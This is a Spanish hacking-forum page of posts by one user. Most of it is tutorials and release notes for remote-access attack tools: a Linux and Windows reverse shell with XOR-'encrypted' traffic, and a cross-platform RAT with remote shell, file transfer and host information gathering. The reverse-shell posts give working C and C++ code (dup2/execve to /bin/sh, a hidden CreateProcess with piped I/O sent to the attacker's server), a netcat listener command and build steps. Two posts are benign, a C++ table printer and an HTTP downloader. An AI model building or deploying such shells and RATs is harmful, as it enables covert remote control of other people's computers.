Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.

Temas - d3adly

Páginas: [1]
1
Hacking / Shell inversa "Cifrada" segunda parte (Windows)
« en: Julio 05, 2020, 09:14:44 pm »
Hola comunidad, hoy traigo la segunda parte del post anterior sobre You are not allowed to view links. Register or Login, esta vez aplicado a sistemas Windows.

En teoria el proceso es el mismo, a diferencia que ahora no se realiza un duplicado de la imagen del proceso en memoria. Las funciones mas importantes a usar con:
  • You are not allowed to view links. Register or Login          - Igual que pipe en linux, crea una tuberia con un extremo de lectura y otro de escritura.
  • You are not allowed to view links. Register or Login - Copia y extrae informacion de una tuberia sin modificar su contenido.
  • You are not allowed to view links. Register or Login    - Crea un nuevo proceso, lo genial de esta api es que podemos configurar como se va a ejecutar el programa, en este caso, la manipulacion de stdin y stdout/stderr como nos plazca de una manera muy facil.

Como aclare anteriormente es casi el mismo proceso. Primero procedemos a crear las tuberias usando CreatePipe:
Código: C++
  1.    HANDLE stdinRd, stdinWr, stdoutRd, stdoutWr;
  2.    stdinRd = stdinWr = stdoutRd = stdoutWr = nullptr;
  3.    
  4.    SECURITY_ATTRIBUTES sa;
  5.    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
  6.    sa.lpSecurityDescriptor =  nullptr;
  7.    sa.bInheritHandle = true;   //Proceso hijo puede heredar tuberias retornadas por CreatePipe
  8.    if(!CreatePipe(&stdinRd, &stdinWr, &sa, 0) || !CreatePipe(&stdoutRd, &stdoutWr, &sa, 0)){
  9.       //No se pudo crear las tuberias                
  10.    }
  11.  
En sistemas windows HANDLE es como decir, un descriptor de archivo en linux fd, se usa para crear archivos, leer y escribir hacia ellos. En este caso haremos uso del mismo para crear tuberias.
La estructura You are not allowed to view links. Register or Login contiene la informacion que se le pasara a la funcion CreatePipe, esta estructura decide si un proceso hijo puede heredar o no los HANDLES creados por esta funcion, en este caso las tuberias.
Luego esta la funcion CreatePipe la cual recibe los siguientes parametros:
Código: C++
  1. BOOL CreatePipe(
  2.   PHANDLE               hReadPipe,          //Extremo de lectura  (stdinRd)  
  3.   PHANDLE               hWritePipe,         //Extremo de escritura (stdinWr)
  4.   LPSECURITY_ATTRIBUTES lpPipeAttributes,   //Estructura con los atributos de seguridad (sa)
  5.   DWORD                 nSize               //Tamaño de la estructura (sizeof(SECURITY_ATTRIBUTES))
  6. );
Extraido de la web de You are not allowed to view links. Register or Login
La funcion retorna verdadero si se creo la tuberia o falso si sucede un error. Si todo sale bien, hemos creado las siguientes tuberias:

Código: Text
  1. stdinRd < === > stdinWr
  2. stdoutRd < === > stdoutWr
Todo lo que se escriba a stdinWr, se puede leer en stdinRd, y es el mismo caso para stdoutRd/stdoutWr.

Luego de crear las tuberias se procede a crear el proceso hijo especificandole que redireccione stdout/stderr a un extremo de escritura de una de las tuberias previamente creadas (stdoutWr):

Código: C++
  1.    PROCESS_INFORMATION pi;
  2.    STARTUPINFO si;
  3.    GetStartupInfo(&si);
  4.    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  5.    si.wShowWindow = SW_HIDE;
  6.    si.hStdOutput = stdoutWr;
  7.    si.hStdError = stdoutWr;
  8.    si.hStdInput = stdinRd;
  9.    if(CreateProcess(nullptr, "programa.exe", nullptr, nullptr, true, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi) == 0){
  10.       //No se pudo invocar la shell                      
  11.    }

La estructura You are not allowed to view links. Register or Login contiene la informacion de como se creara la ventana del nuevo proceso. La funcion You are not allowed to view links. Register or Login obtiene una estructura del tipo STARTUPINFO, la cual contiene la informacion que se uso al crear el proceso actual. Se hace uso de la misma para llenar la estructura si (la cual vamos a usar para crear el proceso hijo) y asi modificar solamente las siguientes lineas:

Código: C++
  1.    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  2.    si.wShowWindow = SW_HIDE;
  3.    si.hStdOutput = stdoutWr;
  4.    si.hStdError = stdoutWr;
  5.    si.hStdInput = stdinRd;
El valor dwFlags contiene la opcion u opciones que se utilizaran en la esctructura:
  • STARTF_USESTDHANDLES    - Redireccionar salida y entrada del programa hacia nuestras tuberias.
  • STARTF_USESHOWWINDOW - Como se va a mostrar la ventana del proceso hijo.
La opcion wShowWindow especifica como se mostrara la ventana del nuevo proceso, en este caso SW_HIDE (Oculta). Luego le siguen las opciones hStdOutput , hStdError y hStdInput las cuales son nuestras tuberias que leeran y escribiran al programa. Entonces las salida y entrada del programa funcionara de la siguiente manera:
  • Todo lo escrito a stdinWr ira a la entrada(stdin) del programa.
  • Todo lo que salga del programa(stdout) lo podemos leer en stdourRd.

Despues se crea el proceso haciendo uso de la funcion CreateProcess:

Código: C++
  1. CreateProcess(nullptr, "programa.exe", nullptr, nullptr, true, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi)
La cual recibe los siguientes parametros:

Código: C++
  1. BOOL CreateProcess(
  2.   LPCWSTR pszImageName,
  3.   LPCWSTR pszCmdLine,
  4.   LPSECURITY_ATTRIBUTES psaProcess,
  5.   LPSECURITY_ATTRIBUTES psaThread,
  6.   BOOL fInheritHandles,
  7.   DWORD fdwCreate,
  8.   LPVOID pvEnvironment,
  9.   LPWSTR pszCurDir,
  10.   LPSTARTUPINFOW psiStartInfo,
  11.   LPPROCESS_INFORMATION pProcInfo
  12. );
Extraido de la web de You are not allowed to view links. Register or Login
En este caso solo nos interesan 5 parametros:
  • pszCmdLine       - Ruta al programa a  ejecutar (programa.exe).
  • fInheritHandles - Especifica si el proceso hijo heredara o no HANDLES creados por el proceso padre (tuberias creadas anteriormente).
  • pvEnvironment  - Especifica el entorno en el cual se creara el nuevo proceso.
  • psiStartInfo       - Informacion con la cual sera creada el proceso (la estructura antes modificada si).
  • pProcInfo           - Puntero a una estructura que recibe la informacion de identificacion del proceso creado.
con las  demas opciones se le pasara como parametro nullptr. Si la funcion se ejecuto correctamente retorna un valor diferente de 0, si retorna este valor significa que hubo un error.

Hasta aqui programa.exe se esta ejecutando oculto, leyendo y escribiendo desde y hacia las tuberias creadas por el proceso padre. Ahora se crean dos hilos para leer y escribir al programa mediante las tuberias, asi logramos control sobre lo que salga y entre al programa para aplicar cualquier tipo de "cifrado", en este ejemplo la vieja confiable XOR:

Código: C++
  1. //Funcion de cifrado XOR
  2. std::string XOR(const std::string Data, const std::string Password){
  3.    std::string Final = "";
  4.    for(char cD : Data){
  5.       for(char cS : Password){
  6.          cD ^= cS;
  7.       }
  8.       Final.append(1, cD);
  9.    }
  10.    return Final;
  11. }

El hilo el cual escribira al proceso va de la siguiente manera:
Código: C++
  1. while(EstaCorriendoLaShell){
  2.    char buffer[1024];
  3.    recv(sckSocket, buffer, 1024, 0);
  4.    std::string strCmd = Xor(std::string(buffer));
  5.    DWORD longitud = strCmd.length();
  6.    DWORD bytesEscritos = 0;
  7.    if(!WriteFile(stdinWr, strCmd.c_str(), longitud, &bytesEscritos , nullptr)){
  8.       //Error escribiendo a la tuberia
  9.       EstaCorriendoLaShell = false;
  10.       break;
  11.    }
  12. }
la funcion You are not allowed to view links. Register or Login recibe como primer parametro el HANDLE hacia el cual escribir, en este caso el extremo de escritura de la tuberia (stdinWr), el segundo parametro es la informacion a escribir, la cual es strCmd que previamente se ha "descifrado" con XOR, el tercer parametro es la cantidad de bytes a escribir, el cuarto es un puntero a una variable de tipo DWORD que recibe la cantidad de bytes que se escribieron al HANDLE(stdinWr) y el ultimo le pasamos como parametro nullptr. Si la funcion se ejecuto correctamente el resultado es mayor a 0, si el retorno es este valor, ocurrio un error.

Y por ultimo el hilo que lee del proceso creado va de la siguiente forma:

Código: C++
  1. while(EstaCorriendoLaShell){
  2.    char cBuffer[512];
  3.    DWORD bytesLeidos = 0;
  4.    if(PeekNamedPipe(stdoutRd, nullptr, 512, &bytesLeidos, nullptr, nullptr)){
  5.       if(bytesLeidos > 0){
  6.          ReadFile(stdoutRd, cBuffer, 512, &bytesLeidos, nullptr);
  7.       } else {
  8.          //Todavia no hay nada
  9.          Sleep(100);
  10.          continue;
  11.       }
  12.       std::string strCmd = Xor(std::string(cBuffer));
  13.       int iLen = strCmd.length();
  14.       send(sckSocket, strCmd.c_str(), iLen, 0);
  15.    } else {
  16.       //PeekNamedPipe error
  17.       EstaCorriendoLaShell = false;
  18.       break;
  19.    }
  20. }
haciendo uso de la funcion previamente explicada PeekNamedPipe que se usa para leer del Pipe/HANDLE especificado(stdoutRd), pero al leer esta funcion no borra nada de la tuberia, es para el simple proposito de darle una "ojeada" (Peek) al HANDLE. Ademas del extremo de la tuberia se le pasa como parametro un puntero al buffer el cual recibira los datos pero en este caso como solo le estamos dando una ojeada se le pasa como parametro nullptr. Tambien recibe como parametro un puntero a una variable que recibira el valor de la cantidad de bytes que se pudieron leer (bytesLeidos). Los demas parametros se quedan en nullptr ya que no se almacenara nada solo es para ver si ya hay datos disponibles para leer.
Si la variable bytesleidos es mayor a cero significa que hay datos y podemos proceder a leer de la tuberia haciendo uso de la funcion ReadFile:

Código: C++
  1. ReadFile(stdoutRd, cBuffer, 512, &bytesLeidos, nullptr);
esta funcion recibe la misma cantida de parametros que WriteFile, el (HANDLE/Pipe) del cual leer, donde almacenar los datos (cBuffer), cantidad de bytes a leer (512) y un puntero a una variable que recibe la cantidad de bytes leidos. El ultimo parametro al igual que la funcion WriteFile lo dejamos en nullptr. Una vez leidos los datos se "cifran" haciendo uso de XOR y posteriormente los envia al servidor(atacante).

Pues esa es una descripcion (no muy a fondo) del desarollo e implementacion de una shell inversa "cifrada" en sistemas Windows. El proyecto esta alojado en github como: You are not allowed to view links. Register or Login. Y como siempre no puede faltar el mini tutorial:

Clonar:

Código: DOS
  1. git clone [url]https://github.com/d3adlym1nd/Ciphered-Reverse-Shell.git[/url]
O descargar desde aqui : You are not allowed to view links. Register or Login.

Luego editar el fichero Windows/Client.cpp y modificar la siguiente linea de la clase:
Código: C++
  1. std::string strPassword = "[email protected]";
con cualquier contraseña que se desee. Luego modificar la funcion main:

Código: C++
  1. if(Cli->Connect("127.0.0.1", "1337")){
con la informacion que utilizara el cliente para conectarse.

Abrir el archivo Windows/Server.cpp y modificar la funcion main:

Código: C++
  1. Server *Srv = new Server(1337, "[email protected]");
con el puerto y la contraseña a usar en la comunicacion.

Compilar en el directorio Windows/ con mingw32-make client && mingw32-make server. Luego solo toca correr el servidor y el cliente en otra pc.

Una captura:
         

Espero que les sirva de algo, cualquier duda/aporte/comentario es muy bien recibido. Les deseo un feliz resto del dia ;D

Saludos.


Edit:
Cometi un error en la llamada a la funcion PeekNamedPipe, antes de la variable que recibe la cantidad de bytes leidos, se le debe pasar cuantos bytes se deben leer ya que de lo contrario retornara 0. Si les dio el error de compilacion intercambiar el nullptr antes de la variables que recibe los datos con 512. Asi:

Código: C++
  1. PeekNamedPipe(stdoutRd, nullptr, 512, &bytesLeidos, nullptr, nullptr)
O si ya lo clonaron, actualizan con:

Código: DOS
  1. git pull

Sinceras disculpas por el error.

2
Hacking Tools / unnamedRat en Android con Termux
« en: Junio 29, 2020, 08:56:46 pm »
Hola comunidad, hoy les traigo un pequeño tutorial de hacer uso de la herramienta You are not allowed to view links. Register or Login en android gracias a You are not allowed to view links. Register or Login.
Se procede a instalar termux, luego se instalan los siguientes paquetes:
Código: Bash
  1. pkg install openssl openssl-tool make git nano

Clonar el repo:
Código: Bash
  1. git clone [url]https://github.com/d3adlym1nd/unnamed_rat.git[/url]

Luego nos dirigimos al directorio del servidor linux en ./unnamed_rat/Server/Linux/, y se edita el fichero headers.hpp con nano, modificando lo siguiente:
Código: C++
  1. //Si se quiere salida de texto con color
  2. #define _COLOR
  3.  
  4. //Idioma del programa, comentar/descomentar como se requiera
  5. #define ES
  6. //#define EN
  7.  
  8. //Descomentar lo siguiente
  9. #define _TERMUX
  10.  
  11. //Maximo de clientes a manejar
  12. #define Max_Clients 10
El proposito de #define _TERMUX es para compilar el programa con la salida de texto y barra de progreso un poco mas reducidad.  Luego se compila con:
Código: Bash
  1. make

Una vez compilado se procede a generar el certificado y llave privada en el mismo directorio donde se encuentra el ejecutable del servidor:
Código: Bash
  1. openssl req -x509 -newkey rsa:4096 -out cacer.pem -outform PEM -days 1825 -nodes

Si hasta aqui el telefono no se prendio fuego, vamos bien.

Luego solo toca ejecutar el servidor en el telefono y el cliente en una pc:
Código: You are not allowed to view links. Register or Login
./server 31337
Aqui unas capturas
     

       

     

Ahora disponemos de la herramienta en cualquier momento y lugar. Espero les guste, tambien pueden revisar el proyecto You are not allowed to view links. Register or Login, ahora con documentacion en español e ingles ;D.

Saludos.

3
Hola comunidad comparto con ustedes un proyecto en el cual he estado trabajando. Como dice el titulo es un RAT multiplataforma para Windows y Linux. Tanto el cliente como el servidor estan escritos en C++, por el momento solo ha sido probado en sistemas con arquitectura x64:
  • Debian
  • Arch
  • Windows 7
  • Windows 10
Las funciones hasta el momento son:
  • Transferencia de archivos
  • Recopilacion de informacion
  • Descarga de archivos de servidores http(s)
  • Comunicacion cifrada (You are not allowed to view links. Register or Login)
  • Shell inversa interactiva

Clonar
Código: Bash
  1. git clone [url]https://github.com/d3adlym1nd/unnamed_rat.git[/url]


Instalar dependencias y compilar en Linux:
   
Código: Bash
  1.    #Debian
  2.    sudo apt-get install openssl openssl-dev
  3.    #Arch
  4.    sudo pacman -S openssl
  5.  
  6.    #Opcional si las notificaciones de escritorio se habilitaran en el servidor
  7.    #Debian
  8.    sudo apt-get install libnotify-dev
  9.    #Arch
  10.    sudo pacman -S libnotify

   Nos dirigimos al directorio del servidor para generar el certificado, llave privada y compilar asi:
   
Código: Bash
  1.    #OS puede ser Windows/Linux
  2.    cd Server/OS/
  3.    openssl req -x509 -newkey rsa:4096 -out cacer.pem -outform PEM -days 1825 -nodes
  4.    make

   Luego se modifica lo siguiente en el archivo headers.hpp del codigo del cliente:
   
Código: C++
  1.    //para habilitar/deshabilitar salida por pantalla comentar/descomentar lo siguiente
  2.    #define _DEBUG

   Si la opcion opcion #define _DEBUG se deja comentada para compilar la version sin salida por pantalla, entonces se debe modificar el archivo main.cpp en la siguiente linea con el host y puerto al cual conectarse
   
Código: C++
  1.    Cli->Connect("YOUR HOST", "PORT")
   Luego compilar con : make

Compilar en Windows:
   Primeros instalamos OpenSSL usando uno de los binarios ya compilados desde You are not allowed to view links. Register or Login. Y generamos el certificado y llave privada como en linux.
   El compilador utilizado es mingw. Primero descargamos You are not allowed to view links. Register or Login, una vez instalado actualizamos la lista de paquetes con:
   
Código: Bash
  1. pacman -Syu

   Luego procedemos a instalar los siguientes paquetes:
   
Código: Bash
  1. pacman -S mingw-w64-x86_64-toolchain

   Y ahora realizaremos las mismas modificaciones a los ficheros que en linux, acto seguido compilamos con el comando mingw32-make.


Luego solo toca ejecutar el servidor especificando el puerto por el cual escuchar, ej:
Código: Bash
  1. ./server 8888

Si el cliente se compilo con la opcion #define _DEBUG descomentada entonces el host y el puerto deben ser pasados como argumentos al programa ej:
Código: Bash
  1. ./Client 127.0.0.1 8888


Aqui unas capturas
Servidor Linux
     

     

Obteniendo informacion del cliente
     


Servidor Windows
     

El cliente se autoreconecta al servidor si este se cierra. No posee ningun metodo de instalacion, infeccion o evasion de antivirus ya que esta hecho para realizar pruebas y ejecutarse en entornos controlados (Posiblemente desarolle una version con las opciones antes mencionadas).
Por ahora es muy basico, y sigo trabajando en las dependencias del cliente (Windows) y muchas otras funcionalidades que quiero agregarle. Cualquier aporte, sugerencia o comentario es bien recibido.

Esta de mas decir que no esta hecho con propositos delictivos o maliciosos, es solo para realizar pruebas en ambientes controlados,  tambien puede tomarse como base para realizar proyectos de multiconexion como salas de chat y derivados.
Espero les sirva de algo y les deseo un feliz dia/tarde/noche  ;D

Edit:
Lista de cambios v0.2.0 (28/06/2020):
- Probado en Android 9 (Termux)
- Se puede compilar en distintos idiomas
- Agregado idioma español
Descarga la version 0.2.0 -> You are not allowed to view links. Register or Login

4
C / C++ / Imprimir tabla ordenada C++ [Codigo]
« en: Junio 24, 2020, 12:29:46 am »
Hola comunidad les comparto un breve codigo que desarolle con el proposito de imprimir por pantalla tablas ordenadamente. Basicamente recorre los vectores que se le pasan como parametro, localiza el que contiene mas columnas y ajusta el resto para poder imprimir un cuadro. Luego columna por columna recorre hacia abajo cada palabra y detecta la de mayor longitud, logrando asi ajustar las demas al ancho antes obtenido.
Ejemplos:
Código: Text
  1. Aqui algunas filas no contienen datos suficientes asi que se modifican para ajustarse
  2.  *========================================================*
  3.  | col1   | colum id 2 | col3   | column4 | col5   | col6 |
  4.  *========================================================*
  5.  | row1-1 | row1-2     | col1-3 | col1-4  | --     | --   |    <----   Ajustada
  6.  *========================================================*
  7.  | row2-1 | row2-2     | row2-3 | row2-4  | --     | --   |    <----   Ajustada
  8.  *========================================================*
  9.  | row3-1 | row3-2     | row3-3 | row3-4  | row3-5 | aa   |  
  10.  *========================================================*
  11.  | row4-1 | row4-2     | row4-3 | row4-4  | --     | --   |    <----   Ajustada
  12.  *========================================================*
  13.  | row5-1 | row5-2     | row5-3 | row5-4  | --     | --   |    <----   Ajustada
  14.  *========================================================*
  15.  
  16.  
  17. Aqui la cantidad de cabeceras no es suficiente, entonces se adapta
  18.  *=================================================*
  19.  | col1   | colum id 2 | col3   | column4 | --     |
  20.  *=================================================*
  21.  | row1-1 | row1-2     | col1-3 | col1-4  | --     |
  22.  *=================================================*
  23.  | row2-1 | row2-2     | row2-3 | row2-4  | --     |
  24.  *=================================================*
  25.  | row3-1 | row3-2     | row3-3 | row3-4  | row3-5 |    <----   Las demas se adaptan a esta
  26.  *=================================================*
  27.  | row4-1 | row4-2     | row4-3 | row4-4  | --     |
  28.  *=================================================*
  29.  | row5-1 | --         | --     | --      | --     |
  30.  *=================================================*
  31.  
  32.  
  33.  *=========================================*
  34.  | 1 | colum id 2 | c3   | c4     | --     |
  35.  *=========================================*
  36.  | 1 | row1-2     | c3   | col1-4 | --     |
  37.  *=========================================*
  38.  | 1 | row2-3     | c4   | --     | --     |
  39.  *=========================================*
  40.  | 1 | row3-2     | c333 | row3-4 | row3-5 |
  41.  *=========================================*
  42.  | 1 | row4-2     | 43   | row4-4 | --     |
  43.  *=========================================*
  44.  | 5 | --         | --   | --     | --     |
  45.  *=========================================*

Aqui el codigo You are not allowed to view links. Register or Login, cualquier comentario o aporte es bien recibido, espero les sea de utilidad en alguno de sus proyectos.

Saludos.

5
C / C++ / Descargar archivos usando C++
« en: Junio 05, 2020, 01:21:04 am »
Hola comunidad, hoy les comparto mi clase con el cual podran descargar archivos desde C++.

Primero un poco de teoria:

El proceso que realiza un programa normal como un navegador web (firefox, chrome, etc...) para descargar un archivo es el siguiente:
  • Envia un paquete con la ruta del archivo deseado en cuestion
  • Recibe la respuesta del servidor el cual contiene la informacion del archivo, como el tamaño y tipo de archivo entre otra informacion
  • Continua leyendo del socket hasta que no se encuentren mas bytes para leer o logre el tamaño del archivo

El paquete enviando por el navegador puede ser parecido a este:
Código: Text
  1. GET /descargas/archivos/archivo.zip HTTP/1.1
  2. Host: [url=http://www.website.com]www.website.com[/url]
  3. User-Agent: Juanker v2
La primera linea contiene el comando GET(You are not allowed to view links. Register or Login), usado para obtener datos del recurso especificado, en este caso:
          /descargas/archivos/archivo.zip
Seguido de HTTP/1.1 que es la version de HTTP a usar en la comunicacion. Luego cada dato enviado al servidor va en este formato:
Campo : Valor
El campo Host lleva el nombre de dominio al cual se desea enviar la peticion. Este campo es muy util en servidores que almacenan multiples dominios, logrando asi identificar a cual dominio virtual(You are not allowed to view links. Register or Login) pertenece la peticion enviada por el navegador.
Y el campo User-Agent, aloja el nombre del navegador y otra informacion del mismo, ejemplo:
Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

Despues de enviar el paquete recibiria una respuesta parecida a esta:
Código: Text
  1. HTTP/1.1 200 OK
  2. Date: Sat, 09 Dec 2025 03:10:00 GMT
  3. Server: Apache/2.4.29 (Ubuntu)
  4. Content-Length: 80160806
  5. Content-Type: application/zip

Siendo la primer linea:
Código: Text
  1. HTTP/1.1 200 OK
El codigo de respuesta de la ultima peticion, en este caso 200, significa que la peticion fue aceptada, he aqui una lista de los codigos que puede retornar un servidor http You are not allowed to view links. Register or Login. Los siguientes campos muestran informacion del sevidor como:
Fecha
Código: Text
  1. Date: Sat, 09 Dec 2025 03:10:00 GMT

Version de servidor
Código: Text
  1. Server: Apache/2.4.29 (Ubuntu)

Tambien informacion del recurso solicitado /descargas/archivos/archivo.zip
Tamaño en bytes
Código: Text
  1. Content-Length: 80160806
Tipo de recurso
Código: Text
  1. Content-Type: application/zip

A esta respuesta del servidor se le conoce como Cabecera o Headers, seguido de esta informacion sigue el contenido del archivo solicitado en cuestion. Un ejemplo sencillo seria solicitar un archivo de texto plano /descargas/archivos/archivo.txt, se recibe una respuesta como esta:
Código: Text
  1. HTTP/1.1 200 OK
  2. Date: Sat, 09 Dec 2025 03:10:00 GMT
  3. Server: Apache/2.4.29 (Ubuntu)
  4. Content-Length: 86
  5. Content-type: text/plain
  6.  
  7. Este es un archivo de texto
  8. que contiene varias lineas
  9. informacion y mas information
Nota que esta vez el campo Content-type cambio a text/plain ya que este es el tipo de archivo que se ha solicitado. Extensiones MIME You are not allowed to view links. Register or Login

Para armar el paquete usando codigo se podria realizar asi:
Código: C++
  1. char Packet[] = "GET /descargas/archivos/archivo.zip HTTP/1.1\r\n"\
  2.                 "Host: [url=http://www.website.com\]www.website.com\[/url]r\n"\
  3.                 "User-Agent: Juanker v2\r\n\r\n";

El \r\n al final de cada linea(a excepcion de la ultima que contiene \r\n\r\n) es requerido en cada paquete HTTP que se envia o recibe usando este protocolo.
\r (Carriage Return), es un control de caracter usado para resetear la posicion del dispositivo al inicio de la linea de texto, \n (New Line), es un caracter usado para indicar el final de la linea actual e iniciar una nueva. El contenido del archivo que hemos solicitado al sevidor viene seguido de los ultimos 4 caracteres (\r \n \r \n).

Resumiendo, el navegador envia la peticion y recibe la respuesta con los datos del archivo solicitado y empieza a escribir al archivo todo lo que reciba despues de (\r \n \r \n).

El proyecto You are not allowed to view links. Register or Login

Como usarlo?
Código: C++
  1. //Se crea el objeto
  2. Downloader down;
  3. //Llamada a la funcion Download con la url como parametro
  4. if(down.Download("[url]http://www.website.com/ruta/al/fichero.rar[/url]"){
  5.    std::cout<<"Descarga satisfactoria\n";
  6. }
La clase Downloader realiza toda la "magia", se crea un nuevo objeto y se llama la funcion Download que recibe como parametro la url del archivo a descargar, el puerto puede ir junto con la url You are not allowed to view links. Register or Login, tambien sigue redirecciones y hace uso de openssl para realizar descargas de servidores que utilizen SSL, sigo mejorandola y cualquier comentario es bien apreciado.
Tambien trae una barra de carga  ;D.

6
Hacking / Shell Inversa "Cifrada"
« en: Junio 03, 2020, 12:18:09 am »
Hola comunidad les comparto un proyecto en el cual he estado trabajando, si no es la sección correcta del foro pido disculpas.
Inicialmente el proyecto esta dirijido a sistemas Linux, aunque pienso hacer una segunda parte para Windows.

Primero lo basico, una shell inversa normal en linux se realiza normalmente despues creada la conexión con el servidor lo siguiente:
fork       You are not allowed to view links. Register or Login - mas adelante se vera aplicado
dup2     You are not allowed to view links. Register or Login
execve You are not allowed to view links. Register or Login

fork: Realiza una copia excata del proceso que lo llamo, a diferencia que la copia posee su propio identificador de proceso (Process ID).
dup2: Los parametros de esta funcion son 2 dup2(int oldfd, int newfd), esta función hace que el descriptor de archivo newfd sea una copia de oldf.
execve: Recibe tres parametros execve(const char *filename, char *const argv[],char *const envp[]), siendo el primero el archivo a ejecutar, char *const argv[] los argumentos que se le pasan al ejecutable en cuestion, y char *const envp[] las variables de entorno, esta función remplaza los segmentos de datos:
Text,Data, Bss y el Stack del proceso el cual llama la funcion. You are not allowed to view links. Register or Login

Habiendo cubierto lo basico de estas funciones aqui un ejemplo de una shell inversa normal:
Código: C
  1. #include <stdio.h>
  2. #include <unistd.h>
  3. #include <netinet/in.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6.  
  7. #define REMOTE_ADDR "127.0.0.1"
  8. #define REMOTE_PORT 1337
  9.  
  10. int main(int argc, char *argv[])
  11. {
  12.     struct sockaddr_in server;
  13.     int socket;
  14.  
  15.     server.sin_family = AF_INET;
  16.     server.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
  17.     server.sin_port = htons(REMOTE_PORT);
  18.  
  19.     socket = socket(AF_INET, SOCK_STREAM, 0);
  20.     connect(socket, (struct sockaddr *)&server, sizeof(server));
  21.     dup2(socket, 0);
  22.     dup2(socket, 1);
  23.     dup2(socket, 2);
  24.  
  25.     execve("/bin/sh", 0, 0);
  26.     return 0;
  27. }

Justo en la linea 21 despues de haberse conectado con el servidor, miramos tres llamadas a la funcion dup2 antes descrita. Realiza una copia del socket a tres descriptores de archivo distintos: 0 1 y 2 que son:
0: stdin    - Standard Input:      Es el descriptor de archivo por el cual el proceso lee la información ingresada por el usuario.
1: stdout - Standard Output:  Descriptor usado por el proceso para mostrar información al usuario.
2: stderr  - Standard Error:      Usado por el proceso para escribir información sobre errores.
Luego de esas tres llamadas, cada operación realizada en alguno de estos tres descriptores de archivo sera atravez del socket, lo que reciba el socket sera escrito directamente a stdin, y todo lo que salga de stdout y stderr sera escrito al socket.

Despues se llama a la funcion execve, la cual remplaza la imagen del programa en memoria y ejecuta el binario /bin/sh, ahora cada dato que reciba el socket se escribira en el descriptor de archivo stdin, que a su vez recibira el nuevo programa ejecutado, y toda modificación a los descriptores de archivos stdout/stderr seran escritas al socket gracias a las llamadas de la funcion dup2. Solo tocaria escuchar en el puerto especificado y se recibe una shell inversa:
Código: You are not allowed to view links. Register or Login
$ nclokita -lp PUERTO.

Hasta aqui todo bien, aunque toda la informacion que se intercambia viaja en texto plano, y si queremos aplicar un tipo de "cifrado" la cuestion en si es manipular los datos antes de ser enviados y recibidos, y aqui entran en juegos los pipes (tuberias).
Los pipes vienen bien a la hora de comunicacion entre procesos. Un ejemplo sencillo seria:
Código: You are not allowed to view links. Register or Login
$ cat file.txt | wc -l El resultado del comando anterior mostraria la cantidad de lineas que contiene el archivo file.txt, nota el | en medio de de file.txt y wc, esto indica al comando cat que todo lo que vaya a escribir a stdout lo redirija a el stdin de wc.

Ahora el funcionamiento de la shell inversa "cifrada" una vez conectada al servidor y ejecutado el programa debe ser el siguiente:
  • Leer datos del socket
  • Descifrar los datos
  • Escribir la informacion al stdin del programa
  • Leer del stdout/stderr la salida del comando antes ejecutado
  • Cifrar los datos leidos
  • Escribir los datos cifrados al socket
Ahora para lograr manipular los datos antes de escribir o leer al programa se hace el uso de pipes antes lijeramente explicados, haciendo uso de la funcion pipe You are not allowed to view links. Register or Login. Un pipe tiene dos partes
  • Punto de lectura READ-END
  • Punto de escritura WRITE-END
                             

Y observando el ejemplo que nos provee die.net, podemos observar el uso de fork junto con pipe para crear una copia del programa y realizar una comunicacion entre los dos, escribiendo en un extremo del pipe y leyendo del otro extremo. Aplicando este metodo podemos manipular los datos antes de ser enviados o recibidos atravez del socket.

Asumiendo que la conexión con el servidor ya esta realizada, pasemos a ver como implementar nuestra función para leer y escribir del programa ejecutado.
Primero creamos dos pipes uno que servira de escritura y el otro de lectura,
nota: los siguientes codigos no tienen comprobación de errores, y estan escritos asi para una demostracion
Código: C++
  1. int InPipe[2];
  2. int OutPipe[2];
  3. pipe(InPipe);
  4. pipe(OutPipe)
  5. //Si hay error las funciones retornan -1
Una vez creadas las tuberias se procede a realizar un fork, para asi realizar una copia del programa en memoria el cual procederemos a remplazar con un ejecutable, en este caso /bin/sh
Código: C++
  1. pid_t pid = fork();
  2. if(pid == 0){
  3.    //Este es el hijo (child) del proceso que se esta ejecutando
  4.    //el cual a su vez es una copia exacta del proceso excepto el Process ID
  5. } else if(pid > 0) {
  6.    //Esta es la seccion que se sigue ejecutando despues de la llamada a fork (proceso padre)
  7. } else {
  8.    //Si fork no es >= 0 entonces la llamada fallo
  9. }

Ahora en la seccion del proceso hijo realizaremos lo siguiente:
Código: C++
  1. //Copiamos a stdin el extremo READ-END de InPipe
  2. dup2(InPipe[0], 0);
  3.  
  4. //Copiamos a stdout el extremo WRITE-END de OutPipe
  5. dup2(OutPipe[1], 1);
  6.  
  7. //Igual que el anterior copiamos a stderr el extremo WRITE-END de OutPipe
  8. dup2(OutPipe[1], 2);
  9.  
Con esto logramos que cualquier lectura/escritura realizada a los descriptores de fichero stdin/stdout/stderr, sean atravez de los pipes respectivamente:
  • Escribiendo a InPipe[1] lo leera el otro extremo InPipe[0] que ahora esta en stdin
  • Leemos de stdout/stderr atravez de OutPipe[0]
Continuando la seccion del proceso hijo:
Código: C++
  1. //Se llama la funcion execve con los parametros deseados
  2. //Si quisieramos pasar argumentos al programa se hacen en el array arg
  3. //Ejemplo  char *arg[] = {"arg1", "arg2", "arg2" ...}
  4. char *arg[] = {nullptr};
  5. char *env[] = {nullptr};
  6. //Ejecuta el programa especificado y remplaza la imagen en memoria de la copia que hemos creado previamente con fork()
  7. execve("/bin/sh", arg, env);
  8. exit(0);

Ahora en la seccion del proceso padre crearemos un thread (hilo) para leer el stdout del programa antes ejecutado, cabe mencionar que esta parte se puede implementar junto a otro fork y uniendo dos pipes, pero en este ejemplo lo realizaremos usando threads
Código: C++
  1. //Se crea un thread de la funcion LeerStdout con el parametro OutPipe[0]
  2. //el cual es el extremo que lee del proceso antes ejecutado
  3. std::thread th1(LeerStdout, OutPipe[0]);
  4. int iBytes = 0;
  5. char CmdBuffer[1025]; //para mega comandos larguisimos juaker
  6. while(1){
  7.    //recibimos los datos del servidor
  8.    iBytes = recv(Socket, CmdBuffer, 1024, 0);
  9.    if(iBytes > 0){
